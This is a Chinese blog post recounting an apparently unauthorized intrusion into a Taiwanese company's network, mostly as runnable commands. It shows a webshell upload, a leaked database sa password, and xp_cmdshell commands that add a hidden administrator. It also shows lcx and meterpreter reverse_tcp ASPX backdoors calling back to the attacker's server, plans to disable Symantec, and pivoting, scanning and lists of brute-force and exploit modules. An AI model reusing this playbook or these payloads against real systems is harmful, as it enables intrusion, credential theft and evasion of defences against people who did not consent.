记一次MSF综合应用内网渗透记录

0x01 前言

随机找的个台湾某越科技集团下的站点作为此次测试目标,只是为了学习下内网渗透和MSF的使用。13年9月份时拿到了一个子域的Webshell权限后就没再继续测试了,当时服务器没有安装Symantec赛门铁克,但第二次去测试时发现已安装了Symantec,并进行了一些安全加固。


0x02 网站和内网的基本信息搜集

基本信息探测:

目标站点:http://www.ttes*****.com
服务器IP:59.***.**.74(台湾省 中华电信)
环境平台:ASP.NET
服务器系统:Microsoft-IIS/6.0(Wind 2003)

网站子域搜集:

表中的这些子域名是前期搜集到的信息,但没想到很顺利的就拿到了Webshell(Fckeditor),如果主站找不到什么漏洞时可以通过“旁站”或“子域”下手。

因为本文着重记录的是MSF工具的使用和难点解决,所以对于怎么拿到的Webshell就不做过多描述了,在拿到权限后搜集到的服务器信息如下。

端口开放:25、80、135、445、1025、1521、3389
补丁情况:服务器系统打了460+补丁(64位)
脚本探测:服务器支持Asp、Aspx拓展名
磁盘权限:C、D盘都有可读可写权限(大多数)

ipconfig /all命令可以看到这台主机名为:websrv4,IP:192.168.0.203,DNS:192.168.3.1


Windows IP Configuration
  Host Name . . . . . . . . . . . . : websrv4
  Connection-specific DNS Suffix  . : 
  IP Address. . . . . . . . . . . . : 192.168.0.203
  Subnet Mask . . . . . . . . . . . : 255.255.255.0
  Default Gateway . . . . . . . . . : 192.168.0.254
  DNS Servers . . . . . . . . . . . : 192.168.3.1
                                       168.95.1.1

net view /domain命令可以看到存在两个域和一个工作组:7PV1V1S、TT、WORKGROUP,以及存活主机的对应IP地址如下图,还可以看到当前已控websrv4主机在工作组中。

TT域主机比较多,另放一个表,域控应该是:192.168.3.1,这里可根据自己的经验去分析工作组和各域的组织结构以及各主机所担任的角色。

0x03 Webshell提权之遇防御软件

当前这台已控主机的系统为Windows 2003 X64,虽然知道X64可用提权EXP不多,但也得去尝试下,结果均以失败告终,Oracle提权没接触过,不是很了解,先暂时放一边。

大家都知道ASPX与MSSQL是最佳搭档,在web.config配置文件中找到数据库连接信息,这里可以看到MSSQL数据库是运行在内网192.168.0.206这台主机上,属于站库分离。

<add name="ttes*****_enConnectionString1" connectionString="Data Source=192.168.0.206;Initial Catalog=ttes*****_global;Persist Security Info=True;User ID=sa;Password=tt@12345" providerName="System.Data.SqlClient"/>

接下来利用大马的数据库管理功能连接192.168.0.206这台内网主机的MSSQL,启用xp_cmdshell组件执行命令加一个管理员用户,再利用portfwd命令将它的3389端口转发出来。

注:有的同学可能会说直接使用大马里的端口映射功能就可以了,是可以,但我反正是没成功过,不知是不是我的姿势有问题,嗯,肯定是的,还是太菜!

已成功添加test$管理员用户,接下来就是使用Lcx端口转发工具了,大家应该都懂的,在203这台主机上传并执行,但转发的可是206这台数据库主机的3389哦。

C:\RECYCLER\lcx.exe -slave 你的外网IP 51 192.168.0.206 3389

注意事项:

13年9月192.168.0.203这台主机上还没有防御软件,可直接上传Lcx.exe到任意可读写目录,并且正常执行。但写文章时发现已经安装了symantec,Lcx.exe和各种提权EXP在上传过程中都被拦截,也试了常用的Vbs、Bat、Exe,上传、下载、修改拓展等方式,只要被检测为恶意行为的操作都会被拦截。

symantec endpoint protection Process:smc.exe,snac.exe,ccsvchst.exe,rtvscan.exe
symantec endpoint protection 防御软件的风险日志默认只保存14天,进入服务器后可自行设置

在后期测试中还发现在Fckeditor上传Webshell时也被拦截了,如常见的:一句话、小马、大马等,如下图,可多测试一些过WAF的马儿看下是否能绕过?


测试记录:

1.内网环境,站库分离,web.config找到data(192.168.0.206)SA用户,成功添加管理员用户;
2.Web(192.168.0.203) 、data(192.168.0.206)都安装了symantec,不能使用Lcx.exe等工具;
3.测试了其他转发工具要么被拦截,要么无法用,而reDuh只能转发出当前203的,而且速度极慢;
4.msfpayload生成的Exe文件也被查杀,服务器是X64,msfencode中也没有X64编码器,此路不通;

0x04 绕过防御软件进行端口转发

通过Google搜索在一篇文章中得到思路,使用msfpayload生成一个Aspx反弹脚本,得到meterpreter会话后再用portfwd命令将数据库服务器192.168.0.206的3389端口转发出来。

msfpayload windows/x64/meterpreter/reverse_tcp LHOST=113.***.*.238 LPORT=12345 R | msfencode -t aspx -o /media/sf_系统学习/test.aspx

msfconsole配置好监听相关选项,把刚生成的test.aspx反弹脚本上传到网站的WEB目录下,然后在浏览器中访问即可得到目标主机会话

root@box3:~# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp 
msf exploit(handler) > set LHOST 192.168.1.7
msf exploit(handler) > set LPORT 12345
msf exploit(handler) > exploit

接着我们再用portfwd命令将内网中数据库服务器192.168.0.206的3389端口给转发出来,且能够正常连接它的3389远程终端了,相关命令参数如下,当时忘了截图!


meterpreter > portfwd add -l 1234 -p 3389 -r 192.168.0.206
[*] Local TCP relay created: 0.0.0.0:1234 <-> 192.168.0.206:3389

Usage: portfwd [-h] [add | delete | list | flush] [args]
                     添加   删除    列表   刷新    参数

OPTIONS:
    -h        Help banner.                                 // 帮助
    -L <opt>  The local host to listen on (optional).      // 本地IP地址
    -l <opt>  The local port to listen on.                 // 本地端口号
    -r <opt>  The remote host to connect to.               // 远程IP地址
    -p <opt>  The remote port to connect to.               // 远程端口号

接下来给大家讲下在MSF用Socks4a代理连接内网中的3389,在开启Socks4a代理前必须先得到一个Meterpreter会话,然后直接利用Socks4a模块开启代理,默认执行即可。

msf auxiliary(socks4a) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > set SRVHOST 127.0.0.1
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
msf auxiliary(socks4a) > 
[*] Starting the socks4a proxy server

配置proxychains代理工具时需要在/etc/proxychains.conf文件底部添加一条"socks4 127.0.0.1 1080",必须确保与socks4a模块中的SRVHOST、SRVPORT参数是一致的。

root@box3:~# vi /etc/proxychains.conf

开启Socks4a代理并配置好proxychains代理工具,这时我们就可以在命令终端中直接用proxychains代理msf/nmap/sqlmap/nessus/mysql/sqsh/rdesktop/ftp/ssh等对目标内网其他主机进行扫描测试了。

root@box3:~# proxychains msfconsole 
root@box3:~# proxychains rdesktop 192.168.0.206

注:开启了Socks4a代理但无法正常使用时有可能是防火墙的问题,这时可以尝试将SRVHOST参数设置为127.0.0.1,默认为0.0.0.0,端口为1080。切记不要把开代理和代理工具弄混了!!!

2014-07-28:再次测试发现用原来的方法都弹不回来了,接着尝试了reDuh_Gui,reverse_tcp 80端口....等方式,都是数据通了且TCP连接状态为:LISTENING,但就是连接不上或者不给弹回会话。

最后突破及后续思路:使用免杀Lcx.exe工具,本地监听80端口,在进入192.168.0.206数据库服务器后停用Symantec防御软件,然后再运行MSF攻击载荷上线后再对内网其他主机进行进一步渗透。

0x05 获取C段开放端口及系统版本

当前会话下利用get_local_subnets脚本获取本地子网网段,将当前会话与Kali本机建立路由表实现跨路由访问,这样就能直接使用MSF框架下的模块对目标内网其他主机进行扫描测试了。

meterpreter > run get_local_subnets
Local subnet: 192.168.0.0/255.255.255.0
meterpreter > run autoroute -s 192.168.0.0/255.255.255.0
[*] Adding a route to 192.168.0.0/...
[+] Added route to 192.168.0.0/ via 59.***.**.66
[*] Use the -p option to list all active routes

//1是sessions的会话id,route的时候别弄错了!
msf exploit(handler) > route add 192.168.0.0 255.255.255.0 1

//查看当前活动的所有路由
meterpreter > run autoroute -p
msf exploit(handler) > route print

用MSF下的auxiliary/scanner/portscan/tcp模块对目标内网C段进行批量端口扫描,这个模块可以很方便的探测到整个C段主机的端口开放情况,使我们在后期渗透测试中更能游刃有余。

这里笔者主要就扫了这几个常见端口:21/22/445/1433/3306/3389来做演示。其他更多常见端口有:23/25/80/110/135/139/1521/8080/14147/43958等。

msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set RHOSTS 192.168.0.1-254
msf auxiliary(tcp) > set PORTS 21,22,445,1433,3306,3389
msf auxiliary(tcp) > set THREADS 50
msf auxiliary(tcp) > exploit

如果太慢可以选择适当增加线程,扫描过程中需要等待一段时间,在结束后可以用hosts、services等命令参数来查看扫描结果,前提得连上PostgreSQL数据库,端口扫描结果如下图。

我们还可以利用以下几个模块来探测存活主机,系统版本、软件版本、计算机名、MAC地址、所属工作组或域等等信息,这里只列出了一些常用的模块,图片来自@OffSec

auxiliary/scanner/portscan/tcp

auxiliary/scanner/portscan/ack

auxiliary/scanner/portscan/syn

auxiliary/scanner/ftp/ftp_version

auxiliary/scanner/ssh/ssh_version

auxiliary/scanner/smb/smb_version

auxiliary/scanner/dns/dns_amp

auxiliary/scanner/http/title

auxiliary/scanner/http/http_version

auxiliary/scanner/telnet/telnet_version

auxiliary/scanner/mysql/mysql_version

auxiliary/scanner/postgres/postgres_version

auxiliary/scanner/netbios/nbname

auxiliary/scanner/netbios/nbname_probe    //已删除

auxiliary/scanner/discovery/arp_sweep

auxiliary/scanner/discovery/udp_probe

auxiliary/scanner/discovery/udp_sweep

[...SNIP...]


0x06 常见服务暴力破解和利用模块

在已拿到权限的主机上搜集更多的用户、密码等信息,包括:第三方、SSH/RDP、各种网站/数据库、文本或表格中存储的用户密码,然后再对其进行分析看是否存在规律或通用的可能性,如果有我们则可以根据规律来生成一份高效字典使用以下模块来进行爆破和利用,图片来自@OffSec

注:有些模块也是在重新编辑这篇文章时新加的,既然都重新整理了,何不弄全一些呢?强迫症又犯了!目前我常用到的也有这些,如果师傅们有其他常用的模块也可以补充下哈。

auxiliary/scanner/ftp/anonymous
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/ssh/ssh_login_pubkey
auxiliary/dos/windows/ftp/filezilla_admin_user
auxiliary/dos/windows/ftp/filezilla_server_port
post/windows/gather/credentials/flashfxp
post/windows/gather/credentials/smartftp
post/windows/gather/credentials/wsftp_client
post/windows/gather/credentials/filezilla_server
post/windows/gather/credentials/xshell_xftp_password
post/multi/gather/filezilla_client_cred
auxiliary/scanner/smb/smb_login
auxiliary/admin/smb/upload_file
exploit/windows/smb/psexec
exploit/windows/smb/ms08_067_netapi
auxiliary/scanner/smb/smb_ms17_010
exploit/windows/smb/ms17_010_psexec
auxiliary/admin/smb/ms17_010_command
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/webexec
auxiliary/admin/smb/webexec_command
auxiliary/scanner/smb/impacket/wmiexec
auxiliary/admin/mysql/mysql_enum
auxiliary/admin/mysql/mysql_sql
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/mysql/mysql_hashdump
exploit/windows/mysql/mysql_mof
exploit/multi/mysql/mysql_udf_payload
auxiliary/admin/mssql/mssql_enum
auxiliary/admin/mssql/mssql_exec
auxiliary/admin/mssql/mssql_sql
auxiliary/admin/mssql/mssql_escalate_dbowner
auxiliary/scanner/mssql/mssql_ping
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mssql/mssql_hashdump
exploit/windows/mssql/mssql_clr_payload
exploit/windows/mssql/mssql_payload
exploit/windows/mssql/mssql_payload_sqli
post/windows/manage/enable_rdp
post/windows/gather/enum_termserv
post/windows/gather/credentials/mremote
auxiliary/scanner/rdp/ms12_020_check
auxiliary/dos/windows/rdp/ms12_020_maxchannelids
auxiliary/scanner/rdp/cve_2019_0708_bluekeep
exploit/windows/rdp/cve_2019_0708_bluekeep_rce
exploit/windows/rdp/rdp_doublepulsar_rce
[...SNIP...]

官方使用手册:

https://www.offensive-security.com/metasploit-unleashed/auxiliary-module-reference

0x07 实战过程问题和一些想说的话

一、实战过程问题

MSF中很多Exploit都是不过杀软的,碰到赛门铁克/卡巴斯基/360等几乎完全过不了,@Moker老哥提醒;

  1. 目标属内网环境,只有Webshell权限,这时可以采用迂回战术,先进入内网搜集密码组合字典,然后再去搞我们的目标主机;
  2. 内网中MSF可以扫描A、B段主机吗?答:应该可以,但是扫描A、B段主机的话IDS会瞬间报警,因为流量太大,不建议尝试;
  1. 使用MS08_067_netapi + bind_tcp正向批量溢出时如果内网主机中存在杀毒软件会有拦截提示,动静太大了,也不建议尝试;

问题1.在203的Webshell上用Lcx.exe转发进入206数据库服务器,查看“事件查看器”->“安全性”的源网络地址为什么是192.168.0.203?而主机名又是我本地的主机名,没太弄懂?

回答1:因为连接时是通过203这台服务器转发的数据,所以源网络地址是192.168.0.203,但是数据包是你本机发送的,所以主机名还是你机器名 。如果是使用代理就不会出现这样的情况。

问题2.在203的Webshell连接206数据库服务器,通过xp_cmdshell查看进程中有Symantec防御软件,但为何进入206服务器后在任务管理器中只有系统默认运行进程,没有Symantec进程?

回答2:因为在任务管理器中没有点击查看所有进程,^

0x08  总结

1.通过对目标系统进行信息收集,发现目标站点是asp.net以及iis6.0,windows2003服务器
2.目标网站又存在fckeditor编辑器,通过编辑器的上传功能可直接上传aspx大马。
3.通过ASPX大马的命令执行功能,探测目标系统信息,目标系统开放了80,445,1521,3389端口,以及补丁情况,c,d盘可读写权限。以及查看IP地址为192.168.0.203,DNS为192.168.3.1
4.通过net  view  /domain查看域情况
5.通过aspx大马发现网站的web.config配置文件中,包含了MSSQL数据库的连接地址以及数据库、用户名和密码
6.利用aspx 大马的数据库管理功能直接连接数据库(192.168.0.206),站库分离,通过xp_cmdshell_exec存储过程系统用户名和密码,以及查看端口开放情况3389已开放。
exec xp_cmdshell 'net user  test  Test6530 /add'
exec xp_cmdshell 'net localgroup administrators test /add'
netstat -ano | find "3389"
7.在公网上通过msf生成aspx后门,并通过大马将生成的shell.aspx上传到目标站点上,并访问shell.aspx。
msfvenom  -p  windows/x64/meterpreter/reverse_tcp  LHOST=公网VPS  LPORT=12345   -f aspx > shell.aspx
8.通过MSF进行监听
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp 
msf exploit(handler) > set LHOST 公网VPS
msf exploit(handler) > set LPORT 12345
msf exploit(handler) > exploit
9.通过portfwd命令将内网中数据库服务器192.168.0.206的3389端口给转发出来, 并使用redesktop  命令远程桌面数据库服务器
meterpreter > portfwd add -l 1234 -p 3389 -r 192.168.0.206
redesktop  127.0.0.1 1234
10.在MSF下使用Socks4a代理连接内网中的3389,在开启Socks4a代理前必须先得到一个Meterpreter会话。
meterpreter > background
msf auxiliary(socks4a) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > set SRVHOST 127.0.0.1
msf auxiliary(socks4a) > run
11.配置proxychains代理工具时需要在/etc/proxychains.conf文件底部添加一条"socks4 127.0.0.1 1080",必须确保与socks4a模块中的SRVHOST、SRVPORT参数是一致的。
root@box3:~# vi /etc/proxychains.conf
12.开启Socks4a代理并配置好proxychains代理工具,这时我们就可以在命令终端中直接用proxychains代理msf/nmap/sqlmap/nessus/mysql/sqsh/rdesktop/ftp/ssh等对目标内网其他主机进行扫描测试
root@box3:~# proxychains msfconsole 
root@box3:~# proxychains rdesktop 192.168.0.206
13.获取C段开放端口及系统版本
meterpreter > run get_local_subnets
Local subnet: 192.168.0.0/255.255.255.0
meterpreter > run autoroute -s 192.168.0.0/255.255.255.0  //添加一条通向目标服务器内网的路由
msf exploit(handler) > route add 192.168.0.0 255.255.255.0 1  // 添加一条动态路由,1是sessions的会话id
meterpreter > run autoroute -p      //查看路由设置
msf exploit(handler) > route print  //查看路由表
14.使用MSF下的auxiliary/scanner/portscan/tcp模块对目标内网C段进行批量端口扫描
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set RHOSTS 192.168.0.1-254
msf auxiliary(tcp) > set PORTS 21,22,445,1433,3306,3389
msf auxiliary(tcp) > set THREADS 50
msf auxiliary(tcp) > exploit

原文链接:


posted @ 2022-01-19 23:04  渗透测试中心  阅读(1313)  评论(0编辑  收藏  举报